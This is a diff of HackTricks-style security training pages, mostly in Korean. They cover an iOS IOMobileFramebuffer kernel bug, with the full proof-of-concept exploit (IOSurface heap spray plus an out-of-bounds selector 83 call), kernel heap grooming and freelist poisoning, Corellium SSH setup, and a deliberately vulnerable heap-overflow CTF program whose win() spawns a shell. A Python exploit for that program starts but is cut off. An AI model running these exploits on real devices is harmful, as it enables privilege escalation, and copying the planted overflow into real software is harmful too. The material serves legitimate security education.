- `get_appleclcd_uc()`**AppleCLCD** 서비스를 찾아 **user client type 2**를 엽니다. AppleCLCD와 IOMobileFramebuffer는 같은 external-methods 테이블을 공유하며; type 2는 **selector 83**을 노출합니다. **이것이 버그로 들어가는 진입점입니다.** E_POC/)
**왜 83이 중요한가:** 디컴파일된 경로는 다음과 같습니다:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
마지막 호출 내부에서, 코드는 **경계 검사 없이 32비트 스칼라를 배열 인덱스로 사용**하고, **`this + 0xA58 + index*8`**에서 포인터를 가져와 **`IOSurface*`로** `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`에 전달합니다. **그게 OOB + 타입 혼동입니다.**
2. **힙 스프레이 (왜 IOSurface가 여기에 나타나는가)**
- `do_spray()`**`IOSurfaceRootUserClient`**를 사용해 **많은 IOSurface를 생성**하고 **작은 값들로 스프레이(s_set_value 스타일)**합니다. 이는 커널 힙 인근을 **유효한 IOSurface 객체들에 대한 포인터들로 채웁니다**.
- **목표:** selector 83이 합법 테이블을 벗어나 읽을 때, **OOB 슬롯에 당신이 만든(실제) IOSurface 포인터 중 하나가 들어 있을 가능성**이 있어, 이후 역참조가 **크래시를 일으키지 않고 성공**하게 됩니다. IOSurface는 고전적이고 문서화된 커널 스프레이 프리미티브이며, Saar의 포스트는 이 익스플로잇 흐름에 사용된 **create / set_value / lookup** 메서드를 명시적으로 나열합니다.
3. **"offset/8" 트릭 (그 인덱스가 실제로 의미하는 것)**
- `trigger_oob(offset)`에서는 `scalars[0] = offset / 8`로 설정합니다.
- **왜 8로 나누나?** 커널은 **`base + index*8`**를 수행해 어느 **포인터 크기 슬롯**을 읽을지 계산합니다. 당신은 바이트 오프셋이 아니라 **"슬롯 번호 N"**을 선택하는 것입니다. 64비트에서는 **슬롯당 8바이트**입니다.
- 계산된 주소는 **`this + 0xA58 + index*8`**입니다. PoC는 큰 상수(`0x1200000 + 0x1048`)를 사용해 단순히 **합법 범위를 훨씬 벗어나** IOSurface 포인터들로 **조밀하게 채우려 한 영역**으로 들어갑니다. **스프레이가 "이기면", 당신이 건드린 슬롯은 유효한 `IOSurface*`입니다.**
4. **selector 83이 반환하는 것 (이 부분이 미묘함)**
- 호출은 다음과 같습니다:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- 내부적으로, OOB 포인터 조회 이후 드라이버는\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**를 호출합니다.
- **결과:** **`output_scalars[0]`는 당신의 태스크에서의 Mach 포트 이름(u32 핸들)**로, OOB를 통해 전달된 객체 포인터에 대응합니다. **이것은 원시 커널 주소의 leak가 아니라, 유저스페이스 핸들(send right)입니다.** 이 정확한 동작(포트 이름을 복사하는 것)은 Saar의 디컴파일에서 확인됩니다.
**왜 유용한가:** (가짜) IOSurface에 대한 **포트 이름**을 얻으면, 이제 다음 같은 IOSurfaceRoot 메서드를 사용할 수 있습니다:
- **`s_lookup_surface_from_port` (method 34)** → 포트를 surface ID로 바꿔 다른 IOSurface 호출로 조작할 수 있고,
- **`s_create_port_from_surface` (method 35)** → 필요하면 그 반대도 수행합니다.\
Saar는 다음 단계로 정확히 이 메서드들을 지목합니다. **PoC는 OOB 슬롯에서 합법적인 IOSurface 핸들을 "만들어낼" 수 있음을 증명하고 있습니다.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
이 [PoC는 여기에서 가져왔습니다](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) — 단계 설명을 위해 몇 가지 주석을 추가했습니다:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## 참고자료
- [Saar Amar의 원문](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [jsherman212의 연구](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,268 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS는 앱, 라이브러리, 익스텐션 등 실행 가능한 모든 코드에 대해 Apple이 발급한 인증서로 암호학적 서명을 요구하는 방식으로 동작합니다. 코드가 로드될 때 iOS는 Apple의 신뢰 루트에 대해 디지털 서명을 검증합니다. 서명이 유효하지 않거나, 없거나, 변경된 경우 OS는 실행을 거부합니다. 이는 공격자가 정상 앱에 악성 코드를 주입하거나 서명되지 않은 바이너리를 실행하는 것을 방지하여 임의 또는 변조된 코드를 실행하는 대부분의 익스플로잇 체인을 차단합니다.
- **CoreTrust**는 런타임에서 code signing을 강제하는 iOS 서브시스템입니다. CoreTrust는 캐시된 신뢰 저장소에 의존하지 않고 Apple의 루트 인증서를 사용해 직접 서명을 검증하므로 Apple이 서명했거나 유효한 entitlements를 가진 바이너리만 실행될 수 있습니다. CoreTrust는 공격자가 설치 후 앱을 변조하거나 시스템 라이브러리를 수정하고 서명되지 않은 코드를 로드하려 해도, 코드가 올바르게 서명되어 있지 않으면 시스템이 실행을 차단하도록 보장합니다. 이러한 엄격한 적용은 이전 iOS 버전에서 약하거나 우회 가능한 서명 검사로 허용되던 많은 사후 익스플로잇 벡터를 차단합니다.
- **Data Execution Prevention (DEP)**는 메모리 영역을 명시적으로 코드가 포함되어 있지 않는 한 비실행(executable)으로 표시합니다. 이는 공격자가 스택이나 힙 같은 데이터 영역에 shellcode를 주입해 실행하는 것을 막아 ROP(Return-Oriented Programming) 같은 더 복잡한 기법에 의존하게 만듭니다.
- **ASLR (Address Space Layout Randomization)**는 코드, 라이브러리, 스택, 힙의 메모리 주소를 매번 시스템 실행 시 무작위화합니다. 이는 공격자가 유용한 명령이나 가젯의 위치를 예측하기 어렵게 만들어 고정된 메모리 레이아웃에 의존하는 많은 익스플로잇 체인을 깨뜨립니다.
- **KASLR (Kernel ASLR)**는 동일한 무작위화 개념을 iOS 커널에 적용합니다. 부팅마다 커널의 베이스 주소를 섞음으로써 공격자가 커널 함수나 구조체의 위치를 신뢰성 있게 찾는 것을 방지하여 커널 수준 익스플로잇의 난이도를 높입니다.
- **Kernel Patch Protection (KPP)** (iOS에서는 **AMCC (Apple Mobile File Integrity)** 라고도 함)는 커널의 코드 페이지가 변경되지 않았는지 지속적으로 모니터링합니다. 익스플로잇이 커널 함수를 패치하거나 악성 코드를 삽입하려는 시도가 감지되면 장치는 즉시 panic 상태가 되어 재부팅됩니다. 이 보호 기능은 공격자가 단순히 커널 명령을 후킹하거나 패치하여 지속성을 얻는 것을 훨씬 어렵게 만듭니다.
- **Kernel Text Readonly Region (KTRR)**는 iOS 장치에 도입된 하드웨어 기반 보안 기능입니다. CPU의 메모리 컨트롤러를 사용해 부팅 이후에 커널의 코드(text) 섹션을 영구적으로 읽기 전용으로 표시합니다. 일단 잠기면 커널 자체조차 이 메모리 영역을 수정할 수 없습니다. 이는 공격자나 권한 있는 코드조차 런타임에 커널 명령을 패치하는 것을 막아 직접 커널 코드를 수정하던 주요 클래스의 익스플로잇을 차단합니다.
- **Pointer Authentication Codes (PAC)**는 포인터의 사용 전에 무결성을 검증하기 위해 포인터의 남는 비트에 암호화 서명을 포함합니다. 포인터(예: 반환 주소나 함수 포인터)가 생성될 때 CPU가 비밀 키로 서명하고, 역참조하기 전에 CPU가 서명을 검사합니다. 포인터가 변조되었다면 검사가 실패하고 실행이 중단됩니다. 이는 공격자가 메모리 손상 익스플로잇에서 포인터를 위조하거나 재사용하는 것을 방지하여 ROP나 JOP 같은 기법을 안정적으로 수행하기 어렵게 만듭니다.
- **Privilege Access never (PAN)**는 커널(특권 모드)이 명시적으로 접근을 활성화하지 않는 한 사용자 공간 메모리에 직접 접근하는 것을 방지하는 하드웨어 기능입니다. 이는 커널 코드 실행을 획득한 공격자가 사용자 메모리를 쉽게 읽거나 써서 권한 상승을 하거나 민감한 데이터를 훔치는 것을 차단합니다. 엄격한 분리를 시행함으로써 PAN은 커널 익스플로잇의 영향을 줄이고 많은 일반적인 권한 상승 기법을 차단합니다.
- **Page Protection Layer (PPL)**는 특히 code signing 및 entitlements와 관련된 중요한 커널 관리 메모리 영역을 보호하는 iOS 보안 메커니즘입니다. PPL은 MMU(Memory Management Unit)와 추가 검사를 사용하여 엄격한 쓰기 보호를 시행하므로 권한이 있는 커널 코드조차 민감한 페이지를 임의로 수정할 수 없습니다. 이는 커널 수준 실행을 획득한 공격자가 보안에 중요한 구조체를 변조하여 지속성을 확보하거나 code-signing을 우회하는 것을 훨씬 어렵게 만듭니다.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
커널은 고정 크기의 "zones"로 나뉜 **zone allocator** (`kalloc`)를 사용했습니다.
각 zone은 단일 크기 클래스의 할당만 저장했습니다.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | 매우 작은 커널 구조체, 포인터. |
| `default.kalloc.32` | 32 bytes | 작은 구조체, 객체 헤더. |
| `default.kalloc.64` | 64 bytes | IPC 메시지, 작은 커널 버퍼. |
| `default.kalloc.128` | 128 bytes | `OSObject`의 일부 같은 중간 크기 객체. |
| `default.kalloc.256` | 256 bytes | 더 큰 IPC 메시지, 배열, 디바이스 구조체. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | 큰 구조체, IOSurface/graphics metadata. |
작동 방식:
- 각 할당 요청은 가장 가까운 zone 크기로 **올림(rounded up)** 됩니다.
(예: 50바이트 요청은 `kalloc.64` zone에 배치됩니다).
- 각 zone의 메모리는 **freelist**에 보관되었습니다 — 커널이 해제한 청크는 해당 zone으로 돌아갔습니다.
- 64바이트 버퍼를 오버플로우하면 동일한 zone의 **다음 객체를 덮어쓰게** 됩니다.
이 때문에 **heap spraying / feng shui**가 매우 효과적이었습니다: 같은 크기 클래스의 할당을 뿌리면 객체의 이웃을 예측할 수 있었습니다.
### The freelist
각 kalloc zone 내부에서 해제된 객체들은 시스템에 직접 반환되지 않고 freelist에 들어갔습니다. freelist는 사용 가능한 청크들의 연결 리스트였습니다.
- 청크가 해제될 때, 커널은 그 청크의 시작 부분에 포인터를 작성했습니다 → 동일한 zone 내의 다음 자유 청크의 주소.
- zone은 첫 번째 자유 청크를 가리키는 HEAD 포인터를 유지했습니다.
- 할당은 항상 현재 HEAD를 사용했습니다:
1. Pop HEAD (그 메모리를 호출자에게 반환).
2. HEAD = HEAD->next (해제된 청크의 헤더에 저장된 값으로 업데이트).
- 해제는 청크를 다시 푸시했습니다:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
따라서 freelist는 해제된 메모리 자체 안에 구성된 단순한 연결 리스트였습니다.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### freelist 악용
Because the first 8 bytes of a free chunk = freelist pointer, an attacker could corrupt it:
1. **Heap overflow** into an adjacent freed chunk → 그 “next” pointer를 덮어쓴다.
2. **Use-after-free** write into a freed object → 그 “next” pointer를 덮어쓴다.
Then, on the next allocation of that size:
- 할당자는 손상된 청크를 팝한다.
- 공격자가 제공한 “next” pointer를 따라간다.
- 임의 메모리에 대한 포인터를 반환하여 fake object primitives 또는 targeted overwrite를 가능하게 한다.
Visual example of freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
이 freelist 설계는 하드닝 이전에 익스플로잇을 매우 효과적으로 만들었습니다: heap sprays로 인한 예측 가능한 인접 객체, raw pointer freelist 링크, 그리고 타입 분리가 없어 공격자가 UAF/overflow 버그를 임의의 커널 메모리 제어로 승격시킬 수 있었습니다.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
**Steps:**
1. Spray allocations (fill the holes)
- Over time, the kernel heap gets fragmented: some zones have holes where old
objects were freed.
- The attacker first makes lots of dummy allocations to fill these gaps, so
the heap becomes “packed” and predictable.
2. Force new pages
- Once the holes are filled, the next allocations must come from new pages
added to the zone.
- Fresh pages mean objects will be clustered together, not scattered across
old fragmented memory.
- This gives the attacker much better control of neighbors.
3. Place attacker objects
- The attacker now sprays again, creating lots of attacker-controlled objects
in those new pages.
- These objects are predictable in size and placement (since they all belong
to the same zone).
4. Free a controlled object (make a gap)
- The attacker deliberately frees one of their own objects.
- This creates a “hole” in the heap, which the allocator will later reuse for
the next allocation of that size.
5. Victim object lands in the hole
- The attacker triggers the kernel to allocate the victim object (the one
they want to corrupt).
- Since the hole is the first available slot in the freelist, the victim is
placed exactly where the attacker freed their object.
6. Overflow / UAF into victim
- Now the attacker has attacker-controlled objects around the victim.
- By overflowing from one of their own objects (or reusing a freed one), they
can reliably overwrite the victims memory fields with chosen values.
**Why it works**:
- Zone allocator predictability: allocations of the same size always come from
the same zone.
- Freelist behavior: new allocations reuse the most recently freed chunk first.
- Heap sprays: attacker fills memory with predictable content and controls layout.
- End result: attacker controls where the victim object lands and what data sits
next to it.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple hardened the allocator and made **heap grooming much harder**:
### 1. From Classic kalloc to kalloc_type
- **Before**: a single `kalloc.<size>` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects.
- **Now**:
- Kernel objects are allocated from **typed zones** (`kalloc_type`).
- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if theyre the same size.
- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time.
An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size.
### 2. Slabs and Per-CPU Caches
- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone).
- Each zone has a **per-CPU cache** to reduce contention.
- Allocation path:
1. Try per-CPU cache.
2. If empty, pull from the global freelist.
3. If freelist is empty, allocate a new slab (one or more pages).
- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs caches.
### 3. Randomization inside zones
- Within a zone, freed elements are not handed back in simple FIFO/LIFO order.
- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14).
- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie.
- This prevents attackers from forging a fake freelist pointer if they gain a write primitive.
- Some allocations are **randomized in their placement within a slab**, so spraying doesnt guarantee adjacency.
### 4. Guarded Allocations
- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**.
- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects.
- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption.
### 5. Page Protection Layer (PPL) and SPTM
- Even if you control a freed object, you cant modify all of kernel memory:
- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself.
- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- These hardware-enforced layers mean attackers cant escalate from a single heap corruption to arbitrary patching of critical security structures.
### 6. Large Allocations
- Not all allocations go through `kalloc_type`.
- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations.
- These are less predictable, but also less exploitable, since they dont share slabs with other objects.
### 7. Allocation Patterns Attackers Target
Even with these protections, attackers still look for:
- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free.
- **Objects with function pointers (vtables)**: corrupting one still yields control flow.
- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel.
But — unlike before — you cant just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
### Example: Allocation Flow in Modern Heap
Suppose userspace calls into IOKit to allocate an `OSData` object:
1. **Type lookup**`OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
2. Check per-CPU cache for free elements.
- If found → return one.
- If empty → go to global freelist.
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
3. Return chunk to caller.
**Freelist pointer protection**:
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
- Overwriting that field with attacker data wont work unless you know the key.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and install it even if there is a version mismatch.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,78 @@
# iOS에서 Corellium에 연결하는 방법
{{#include ../../banners/hacktricks-training.md}}
## **사전 요구사항**
- Corellium iOS VM (탈옥 여부 무관). 이 가이드에서는 Corellium에 접근할 수 있다고 가정합니다.
- 로컬 도구: **ssh/scp**.
- (선택) Corellium 프로젝트에 추가된 **SSH keys** (무비밀번호 로그인용).
## **localhost에서 iPhone VM에 연결하기**
### A) **Quick Connect (VPN 없음)**
0) **`/admin/projects`**에 ssh 키를 추가하세요 (권장).
1) 디바이스 페이지 → **Connect**
2) Corellium에 표시된 **Quick Connect SSH command**를 복사하여 터미널에 붙여넣으세요.
3) 비밀번호를 입력하거나 키를 사용하세요(권장).
### B) **VPN → direct SSH**
0) **`/admin/projects`**에 ssh 키를 추가하세요 (권장).
1) Device page → **CONNECT****VPN**`.ovpn` 파일을 다운로드한 다음 TAP 모드를 지원하는 VPN 클라이언트로 연결하세요. (문제가 있으면 [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) 를 확인하세요.)
2) VM의 **10.11.x.x** 주소로 SSH 접속:
```bash
ssh root@10.11.1.1
```
## **네이티브 바이너리 업로드 및 실행**
### 2.1 **업로드**
- Quick Connect이 host/port를 제공했다면:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- VPN (10.11.x.x)를 사용하는 경우:
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **iOS 앱(.ipa) 업로드 및 설치**
### 방법 A — **Web UI (가장 빠름)**
1) Device 페이지 → **Apps** 탭 → **Install App** → 자신의 `.ipa` 선택.
2) 동일한 탭에서 **launch/kill/uninstall**할 수 있습니다.
### 방법 B — **스크립트로 Corellium Agent 사용**
1) API Agent를 사용해 **upload**한 다음 **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Non-jailbroken (proper signing / Sideloadly)**
- 프로비저닝 프로파일이 없다면, **Sideloadly**로 Apple ID로 재서명하거나 Xcode에 로그인하세요.
- 또한 **USBFlux**를 사용해 VM을 Xcode에 노출할 수 있습니다 (섹션 §5 참조).
- SSH 없이 빠른 로그/명령 확인을 위해 UI의 기기 **Console**을 사용하세요.
## **Extras**
- **Port-forwarding** (다른 도구들이 VM을 로컬처럼 인식하도록):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: 장치 페이지 하단에 표시된 **LLDB/GDB stub** 주소를 사용하십시오 (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: VM을 **Xcode/Sideloadly**에 유선 장치처럼 연결하세요.
## **일반적인 함정**
- **Proper signing**은 **non-jailbroken** 장치에서 필요합니다; unsigned IPAs는 실행되지 않습니다.
- **Quick Connect vs VPN**: Quick Connect가 가장 간단합니다; 장치를 로컬 네트워크에서 사용해야 할 때(예: 로컬 프록시/도구)는 **VPN**을 사용하세요.
- Corellium 장치에는 **App Store**가 없으므로, (re)signed IPAs를 직접 준비하세요。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS에서 Corellium에 연결하는 방법
{{#include ../../banners/hacktricks-training.md}}
## Vuln Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
다음과 같이 컴파일하세요:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## 익스플로잇
> [!WARNING]
> 이 익스플로잇은 NanoZone을 비활성화하기 위해 환경 변수 `MallocNanoZone=0`을 설정합니다. 작은 크기로 `malloc`을 호출할 때 인접한 할당을 얻기 위해 필요합니다. 이 설정이 없으면 서로 다른 mallocs가 서로 다른 zones에 할당되어 인접하지 않으므로 overflow가 예상대로 작동하지 않습니다.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
